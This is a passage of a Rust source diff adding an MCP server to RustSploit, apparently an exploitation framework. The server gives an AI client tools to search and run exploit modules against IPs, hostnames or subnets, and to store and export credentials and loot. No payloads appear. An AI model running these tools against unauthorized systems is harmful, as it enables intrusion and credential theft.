pub mod tools;
|
||||
pub mod types;
|
||||
|
||||
pub use server::run_mcp_server;
|
||||
@@ -0,0 +1,249 @@
|
||||
use serde_json::json;
|
||||
|
||||
use super::types::{Resource, ResourceContent};
|
||||
|
||||
/// Return the list of all resources exposed by this MCP server.
|
||||
pub fn all_resources() -> Vec<Resource> {
|
||||
vec![
|
||||
Resource {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
name: "Module Catalog".into(),
|
||||
description: "Full list of available modules with info() metadata where available".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
name: "Current Workspace".into(),
|
||||
description: "Current workspace data including tracked hosts and services".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
name: "Credentials".into(),
|
||||
description: "Credential list with secrets redacted (first 3 chars + ***)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
name: "Loot Catalog".into(),
|
||||
description: "Loot entry metadata (no file content, just index data)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///options".into(),
|
||||
name: "Global Options".into(),
|
||||
description: "Persistent global options (setg key-value pairs)".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///target".into(),
|
||||
name: "Current Target".into(),
|
||||
description: "Current global target, size, and subnet status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
Resource {
|
||||
uri: "rustsploit:///status".into(),
|
||||
name: "Framework Status".into(),
|
||||
description: "Summary: module count, workspace name, host count, credential count, loot count".into(),
|
||||
mime_type: "application/json".into(),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
/// Read a resource by URI.
|
||||
pub async fn read_resource(uri: &str) -> ResourceContent {
|
||||
match uri {
|
||||
"rustsploit:///modules" => read_modules().await,
|
||||
"rustsploit:///workspace" => read_workspace().await,
|
||||
"rustsploit:///credentials" => read_credentials().await,
|
||||
"rustsploit:///loot" => read_loot().await,
|
||||
"rustsploit:///options" => read_options().await,
|
||||
"rustsploit:///target" => read_target(),
|
||||
"rustsploit:///status" => read_status().await,
|
||||
_ => ResourceContent {
|
||||
uri: uri.to_string(),
|
||||
mime_type: "text/plain".into(),
|
||||
text: format!("Unknown resource: {}", uri),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Individual resource readers
|
||||
// ===========================================================================
|
||||
|
||||
async fn read_modules() -> ResourceContent {
|
||||
let modules = crate::commands::discover_modules();
|
||||
|
||||
// Build a catalog entry for each module, including info() metadata when available
|
||||
let catalog: Vec<serde_json::Value> = modules
|
||||
.iter()
|
||||
.map(|path| {
|
||||
let info = crate::commands::module_info(path);
|
||||
match info {
|
||||
Some(i) => json!({
|
||||
"path": path,
|
||||
"name": i.name,
|
||||
"description": i.description,
|
||||
"authors": i.authors,
|
||||
"references": i.references,
|
||||
"disclosure_date": i.disclosure_date,
|
||||
"rank": format!("{}", i.rank),
|
||||
}),
|
||||
None => json!({
|
||||
"path": path,
|
||||
}),
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&catalog).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///modules".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_workspace() -> ResourceContent {
|
||||
let name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let data = crate::workspace::WORKSPACE.get_data().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"workspace": name,
|
||||
"hosts": data.hosts,
|
||||
"services": data.services,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///workspace".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_credentials() -> ResourceContent {
|
||||
let creds = crate::cred_store::CRED_STORE.list().await;
|
||||
|
||||
// Redact secrets: show first 3 characters then ***
|
||||
let redacted: Vec<serde_json::Value> = creds
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let redacted_secret = if c.secret.len() > 3 {
|
||||
format!("{}***", &c.secret[..3])
|
||||
} else {
|
||||
"***".into()
|
||||
};
|
||||
json!({
|
||||
"id": c.id,
|
||||
"host": c.host,
|
||||
"port": c.port,
|
||||
"service": c.service,
|
||||
"username": c.username,
|
||||
"secret": redacted_secret,
|
||||
"cred_type": format!("{}", c.cred_type),
|
||||
"source_module": c.source_module,
|
||||
"timestamp": c.timestamp,
|
||||
"valid": c.valid,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&redacted).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///credentials".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_loot() -> ResourceContent {
|
||||
let loot = crate::loot::LOOT_STORE.list().await;
|
||||
|
||||
// Return metadata only (no file content)
|
||||
let entries: Vec<serde_json::Value> = loot
|
||||
.iter()
|
||||
.map(|l| {
|
||||
json!({
|
||||
"id": l.id,
|
||||
"host": l.host,
|
||||
"loot_type": l.loot_type,
|
||||
"filename": l.filename,
|
||||
"description": l.description,
|
||||
"source_module": l.source_module,
|
||||
"timestamp": l.timestamp,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
let text = serde_json::to_string_pretty(&entries).unwrap_or_else(|_| "[]".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///loot".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_options() -> ResourceContent {
|
||||
let opts = crate::global_options::GLOBAL_OPTIONS.all().await;
|
||||
|
||||
let text = serde_json::to_string_pretty(&opts).unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///options".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
fn read_target() -> ResourceContent {
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let size = crate::config::GLOBAL_CONFIG.get_target_size();
|
||||
let is_subnet = crate::config::GLOBAL_CONFIG.is_subnet();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"target": target,
|
||||
"size": size,
|
||||
"is_subnet": is_subnet,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///target".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
|
||||
async fn read_status() -> ResourceContent {
|
||||
// Use get_data() for a single lock acquisition instead of separate hosts()/services() calls
|
||||
let workspace_name = crate::workspace::WORKSPACE.current_name().await;
|
||||
let ws_data = crate::workspace::WORKSPACE.get_data().await;
|
||||
let cred_count = crate::cred_store::CRED_STORE.list().await.len();
|
||||
let loot_count = crate::loot::LOOT_STORE.list().await.len();
|
||||
let module_count = crate::commands::discover_modules().len();
|
||||
let target = crate::config::GLOBAL_CONFIG.get_target();
|
||||
let job_count = crate::jobs::JOB_MANAGER.list().len();
|
||||
|
||||
let text = serde_json::to_string_pretty(&json!({
|
||||
"module_count": module_count,
|
||||
"workspace": workspace_name,
|
||||
"host_count": ws_data.hosts.len(),
|
||||
"service_count": ws_data.services.len(),
|
||||
"credential_count": cred_count,
|
||||
"loot_count": loot_count,
|
||||
"active_jobs": job_count,
|
||||
"target": target,
|
||||
}))
|
||||
.unwrap_or_else(|_| "{}".into());
|
||||
|
||||
ResourceContent {
|
||||
uri: "rustsploit:///status".into(),
|
||||
mime_type: "application/json".into(),
|
||||
text,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
use anyhow::Context;
|
||||
use serde_json::Value;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncReadExt, AsyncWriteExt, BufReader};
|
||||
|
||||
use super::types::{
|
||||
InitializeResult, JsonRpcRequest, JsonRpcResponse, ResourcesCapability, ServerCapabilities,
|
||||
ServerInfo, ToolsCapability,
|
||||
};
|
||||
|
||||
fn isolate_protocol_stdout() -> anyhow::Result<tokio::fs::File> {
|
||||
use std::os::fd::FromRawFd;
|
||||
unsafe {
|
||||
let saved_fd = libc::dup(1);
|
||||
if saved_fd < 0 {
|
||||
anyhow::bail!("dup(1) failed: errno {}", *libc::__errno_location());
|
||||
}
|
||||
let null_path = b"/dev/null\0";
|
||||
let null_fd = libc::open(null_path.as_ptr() as *const libc::c_char, libc::O_WRONLY);
|
||||
if null_fd < 0 {
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("open(/dev/null) failed: errno {}", *libc::__errno_location());
|
||||
}
|
||||
if libc::dup2(null_fd, 1) < 0 {
|
||||
libc::close(null_fd);
|
||||
libc::close(saved_fd);
|
||||
anyhow::bail!("dup2(null, 1) failed: errno {}", *libc::__errno_location());
|
||||
}
|
||||
libc::close(null_fd);
|
||||
let std_file = std::fs::File::from_raw_fd(saved_fd);
|
||||
Ok(tokio::fs::File::from_std(std_file))
|
||||
}
|
||||
}
|
||||
|
||||
/// Run the MCP server over newline-delimited JSON on stdio.
|
||||
///
|
||||
/// * **stdin** — reads one JSON-RPC 2.0 request per line.
|
||||
/// * **stdout** — writes one JSON-RPC 2.0 response per line.
|
||||
/// * **stderr** — diagnostic logging (stdout is the protocol channel).
|
||||
pub async fn run_mcp_server() -> anyhow::Result<()> {
|
||||
let mut protocol_out = isolate_protocol_stdout()
|
||||
.context("Cannot isolate protocol stdout — aborting to prevent JSON-RPC corruption")?;
|
||||
|
||||
let stdin = tokio::io::stdin();
|
||||
let mut reader = BufReader::new(stdin);
|
||||
let mut line_buf: Vec<u8> = Vec::new();
|
||||
|
||||
const MAX_LINE_BYTES: usize = 1024 * 1024;
|
||||
|
||||
eprintln!("[MCP] RustSploit MCP server started (stdio transport)");
|
||||
eprintln!("[MCP] Protocol stdout isolated — module output is captured via OUTPUT_BUFFER only");
|
||||
|
||||
loop {
|
||||
line_buf.clear();
|
||||
let n = (&mut reader)
|
||||
.take(MAX_LINE_BYTES as u64 + 1)
|
||||
.read_until(b'\n', &mut line_buf)
|
||||
.await
|
||||
.context("failed to read from stdin")?;
|
||||
if n == 0 {
|
||||
eprintln!("[MCP] stdin closed, shutting down");
|
||||
break;
|
||||
}
|
||||
if line_buf.len() > MAX_LINE_BYTES {
|
||||
eprintln!(
|
||||
"[MCP] line exceeded {} bytes without newline — rejecting and closing",
|
||||
MAX_LINE_BYTES
|
||||
);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32600,
|
||||
format!("Request exceeds {} byte line limit", MAX_LINE_BYTES),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
break;
|
||||
}
|
||||
|
||||
let line = match std::str::from_utf8(&line_buf) {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] non-UTF-8 input on stdin: {}", e);
|
||||
let resp = JsonRpcResponse::error(
|
||||
None,
|
||||
-32700,
|
||||
format!("Parse error: input is not valid UTF-8: {}", e),
|
||||
);
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let request: JsonRpcRequest = match serde_json::from_str(trimmed) {
|
||||
Ok(r) => r,
|
||||
Err(e) => {
|
||||
eprintln!("[MCP] parse error: {}", e);
|
||||
let resp = JsonRpcResponse::error(None, -32700, format!("Parse error: {}", e));
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
eprintln!("[MCP] <- method={}", request.method);
|
||||
|
||||
let response = handle_request(request).await;
|
||||
if let Some(resp) = response {
|
||||
write_response(&mut protocol_out, &resp).await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Serialize a response as a single JSON line on the protocol channel.
|
||||
async fn write_response(
|
||||
out: &mut (dyn tokio::io::AsyncWrite + Unpin + Send),
|
||||
resp: &JsonRpcResponse,
|
||||
) -> anyhow::Result<()> {
|
||||
let mut json = serde_json::to_vec(resp).context("failed to serialize response")?;
|
||||
json.push(b'\n');
|
||||
out.write_all(&json).await.context("failed to write response")?;
|
||||
out.flush().await.context("failed to flush protocol channel")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Route a parsed request to the appropriate handler.
|
||||
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
|
||||
match req.method.as_str() {
|
||||
"initialize" => Some(handle_initialize(req.id)),
|
||||
"initialized" | "notifications/initialized" => {
|
||||
// Notification — no response.
|
||||
eprintln!("[MCP] Client initialized");
|
||||
None
|
||||
}
|
||||
"tools/list" => Some(handle_tools_list(req.id)),
|
||||
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
|
||||
"resources/list" => Some(handle_resources_list(req.id)),
|
||||
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
|
||||
other if other.starts_with("notifications/") => {
|
||||
eprintln!("[MCP] Ignoring notification: {}", other);
|
||||
None
|
||||
}
|
||||
other => Some(JsonRpcResponse::error(
|
||||
req.id,
|
||||
-32601,
|
||||
format!("Method not found: {}", other),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Handler implementations
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn handle_initialize(id: Option<Value>) -> JsonRpcResponse {
|
||||
let result = InitializeResult {
|
||||
protocol_version: "2024-11-05".to_string(),
|
||||
capabilities: ServerCapabilities {
|
||||
tools: Some(ToolsCapability {}),
|
||||
resources: Some(ResourcesCapability {}),
|
||||
},
|
||||
server_info: ServerInfo {
|
||||
name: "rustsploit-mcp".to_string(),
|
||||
version: env!("CARGO_PKG_VERSION").to_string(),
|
||||
},
|
||||
};
|
||||
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_tools_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let tools = super::tools::all_tools();
|
||||
match serde_json::to_value(&tools) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "tools": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_tools_call(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let (name, arguments) = match extract_tool_call_params(¶ms) {
|
||||
Ok(pair) => pair,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::tools::call_tool(&name, arguments).await;
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, v),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_resources_list(id: Option<Value>) -> JsonRpcResponse {
|
||||
let resources = super::resources::all_resources();
|
||||
match serde_json::to_value(&resources) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "resources": v })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_resources_read(id: Option<Value>, params: Option<Value>) -> JsonRpcResponse {
|
||||
let uri = match extract_resource_uri(¶ms) {
|
||||
Ok(u) => u,
|
||||
Err(msg) => return JsonRpcResponse::error(id, -32602, msg),
|
||||
};
|
||||
|
||||
let result = super::resources::read_resource(&uri).await;
|
||||
// The MCP spec (2024-11-05) requires `resources/read` to return
|
||||
// `{ contents: [ { uri, mimeType, text } ] }` — a list, not a bare content
|
||||
// object. Claude's client rejects the bare shape silently.
|
||||
match serde_json::to_value(&result) {
|
||||
Ok(v) => JsonRpcResponse::success(id, serde_json::json!({ "contents": [v] })),
|
||||
Err(e) => JsonRpcResponse::error(id, -32603, format!("Internal error: {}", e)),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Param extraction helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Pull `name` (String) and `arguments` (Object) out of the `tools/call` params.
|
||||
fn extract_tool_call_params(params: &Option<Value>) -> Result<(String, Value), String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'name' and 'arguments'".to_string())?;
|
||||
|
||||
let name = obj
|
||||
.get("name")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'name' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
let arguments = obj
|
||||
.get("arguments")
|
||||
.cloned()
|
||||
.unwrap_or_else(|| serde_json::json!({}));
|
||||
|
||||
Ok((name, arguments))
|
||||
}
|
||||
|
||||
/// Pull `uri` (String) out of the `resources/read` params.
|
||||
fn extract_resource_uri(params: &Option<Value>) -> Result<String, String> {
|
||||
let obj = params
|
||||
.as_ref()
|
||||
.and_then(|v| v.as_object())
|
||||
.ok_or_else(|| "Invalid params: expected object with 'uri'".to_string())?;
|
||||
|
||||
let uri = obj
|
||||
.get("uri")
|
||||
.and_then(|v| v.as_str())
|
||||
.ok_or_else(|| "Missing or invalid 'uri' in params".to_string())?
|
||||
.to_string();
|
||||
|
||||
Ok(uri)
|
||||
}
|
||||
@@ -0,0 +1,888 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use once_cell::sync::Lazy;
|
||||
use serde_json::{json, Value};
|
||||
|
||||
use super::types::{Tool, ToolResult};
|
||||
|
||||
/// Cached tool definitions — built once, reused on every tools/list call.
|
||||
static TOOL_DEFINITIONS: Lazy<Vec<Tool>> = Lazy::new(build_tool_definitions);
|
||||
|
||||
/// Return definitions for all MCP tools (cached).
|
||||
pub fn all_tools() -> Vec<Tool> {
|
||||
TOOL_DEFINITIONS.clone()
|
||||
}
|
||||
|
||||
fn build_tool_definitions() -> Vec<Tool> {
|
||||
vec![
|
||||
// ── Module tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_modules".into(),
|
||||
description: "List all available modules, optionally filtered by category".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"category": { "type": "string", "description": "Filter by category (exploits, scanners, creds, plugins)" }
|
||||
}
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "search_modules".into(),
|
||||
description: "Search modules by keyword (case-insensitive substring match)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "module_info".into(),
|
||||
description: "Get metadata for a specific module (name, description, authors, references, rank)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path, e.g. exploits/router_exploit" }
|
||||
},
|
||||
"required": ["module_path"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "check_module".into(),
|
||||
description: "Run a non-destructive vulnerability check against a target".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" }
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Target tools ──────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "set_target".into(),
|
||||
description: "Set the global target (IP, hostname, CIDR subnet, or comma-separated list)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"target": { "type": "string", "description": "Target value" }
|
||||
},
|
||||
"required": ["target"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "get_target".into(),
|
||||
description: "Get the current global target, its size, and whether it is a subnet".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "clear_target".into(),
|
||||
description: "Clear the global target".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
// ── Execution ─────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "run_module".into(),
|
||||
description: "Execute a module against a target, returning captured output".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"module_path": { "type": "string", "description": "Full module path" },
|
||||
"target": { "type": "string", "description": "Target IP, hostname, or CIDR" },
|
||||
"port": { "type": "integer", "description": "Optional port override" },
|
||||
"verbose": { "type": "boolean", "description": "Enable verbose output" },
|
||||
"prompts": {
|
||||
"type": "object",
|
||||
"description": "Key-value prompt overrides (e.g. {\"port\": \"8080\", \"timeout\": \"5\"})",
|
||||
"additionalProperties": { "type": "string" }
|
||||
}
|
||||
},
|
||||
"required": ["module_path", "target"]
|
||||
}),
|
||||
},
|
||||
// ── Credentials ───────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_creds".into(),
|
||||
description: "List all stored credentials".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_creds".into(),
|
||||
description: "Search credentials by host, service, or username".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search query" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_cred".into(),
|
||||
description: "Add a credential to the store".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"username": { "type": "string" },
|
||||
"secret": { "type": "string" },
|
||||
"port": { "type": "integer", "default": 0 },
|
||||
"service": { "type": "string", "default": "unknown" },
|
||||
"cred_type": { "type": "string", "enum": ["password", "hash", "key", "token"], "default": "password" }
|
||||
},
|
||||
"required": ["host", "username", "secret"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_cred".into(),
|
||||
description: "Delete a credential by its ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string", "description": "Credential ID" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace hosts & services ────────────────────────────────
|
||||
Tool {
|
||||
name: "list_hosts".into(),
|
||||
description: "List all tracked hosts in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_host".into(),
|
||||
description: "Add or update a host in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" },
|
||||
"hostname": { "type": "string" },
|
||||
"os_guess": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_host".into(),
|
||||
description: "Delete a host (and its services) from the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"ip": { "type": "string" }
|
||||
},
|
||||
"required": ["ip"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "list_services".into(),
|
||||
description: "List all tracked services in the current workspace".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "add_service".into(),
|
||||
description: "Add or update a service in the workspace".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" },
|
||||
"service_name": { "type": "string" },
|
||||
"protocol": { "type": "string", "default": "tcp" },
|
||||
"version": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "port", "service_name"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_service".into(),
|
||||
description: "Delete a service by host and port".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"port": { "type": "integer" }
|
||||
},
|
||||
"required": ["host", "port"]
|
||||
}),
|
||||
},
|
||||
// ── Loot ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_loot".into(),
|
||||
description: "List all stored loot entries".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "search_loot".into(),
|
||||
description: "Search loot by host, type, or description".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string" }
|
||||
},
|
||||
"required": ["query"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "add_loot".into(),
|
||||
description: "Store a loot entry (text data)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"host": { "type": "string" },
|
||||
"loot_type": { "type": "string", "description": "e.g. config, password_file, hash, firmware" },
|
||||
"data": { "type": "string", "description": "Loot content (text)" },
|
||||
"description": { "type": "string" }
|
||||
},
|
||||
"required": ["host", "loot_type", "data"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "delete_loot".into(),
|
||||
description: "Delete a loot entry by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "string" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Global options ────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_options".into(),
|
||||
description: "List all persistent global options (setg values)".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "set_option".into(),
|
||||
description: "Set a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" },
|
||||
"value": { "type": "string" }
|
||||
},
|
||||
"required": ["key", "value"]
|
||||
}),
|
||||
},
|
||||
Tool {
|
||||
name: "unset_option".into(),
|
||||
description: "Remove a persistent global option".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"key": { "type": "string" }
|
||||
},
|
||||
"required": ["key"]
|
||||
}),
|
||||
},
|
||||
// ── Jobs ──────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_jobs".into(),
|
||||
description: "List active background jobs".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "kill_job".into(),
|
||||
description: "Kill a background job by ID".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": { "type": "integer" }
|
||||
},
|
||||
"required": ["id"]
|
||||
}),
|
||||
},
|
||||
// ── Workspace management ──────────────────────────────────────
|
||||
Tool {
|
||||
name: "list_workspaces".into(),
|
||||
description: "List all available workspaces".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
Tool {
|
||||
name: "switch_workspace".into(),
|
||||
description: "Switch to a different workspace (creates it if it does not exist)".into(),
|
||||
input_schema: json!({
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"name": { "type": "string" }
|
||||
},
|
||||
"required": ["name"]
|
||||
}),
|
||||
},
|
||||
// ── Export ────────────────────────────────────────────────────
|
||||
Tool {
|
||||
name: "export_data".into(),
|
||||
description: "Export full engagement data (workspace, hosts, services, credentials, loot) as JSON".into(),
|
||||
input_schema: json!({ "type": "object", "properties": {} }),
|
||||
},
|
||||
]
|
||||
}
|
||||
|
||||
// ===========================================================================
|
||||
// Tool dispatch
|
||||
// ===========================================================================
|
||||
|
||||
/// Dispatch a tool call by name.
|
||||
pub async fn call_tool(name: &str, args: Value) -> ToolResult {
|
||||
match name {
|
||||
// ── Module tools ──────────────────────────────────────────
|
||||
"list_modules" => handle_list_modules(&args),
|
||||
"search_modules" => handle_search_modules(&args),
|
||||
"module_info" => handle_module_info(&args),
|
||||
"check_module" => handle_check_module(&args).await,
|
||||
|
||||
// ── Target tools ──────────────────────────────────────────
|
||||
"set_target" => handle_set_target(&args).await,
|
||||
"get_target" => handle_get_target(),
|
||||
"clear_target" => handle_clear_target(),
|
||||
|
||||
// ── Execution ─────────────────────────────────────────────
|
||||
"run_module" => handle_run_module(&args).await,
|
||||
|
||||
// ── Credentials ───────────────────────────────────────────
|
||||
"list_creds" => handle_list_creds().await,
|
||||
"search_creds" => handle_search_creds(&args).await,
|
||||
"add_cred" => handle_add_cred(&args).await,
|
||||
"delete_cred" => handle_delete_cred(&args).await,
|
||||
|
||||
// ── Workspace hosts & services ────────────────────────────
|
||||
"list_hosts" => handle_list_hosts().await,
|
||||
"add_host" => handle_add_host(&args).await,
|
||||
"delete_host" => handle_delete_host(&args).await,
|
||||
"list_services" => handle_list_services().await,
|
||||
"add_service" => handle_add_service(&args).await,
|
||||
"delete_service" => handle_delete_service(&args).await,
|
||||
|
||||
// ── Loot ──────────────────────────────────────────────────
|
||||
"list_loot" => handle_list_loot().await,
|
||||
"search_loot" => handle_search_loot(&args).await,
|
||||
"add_loot" => handle_add_loot(&args).await,
|
||||
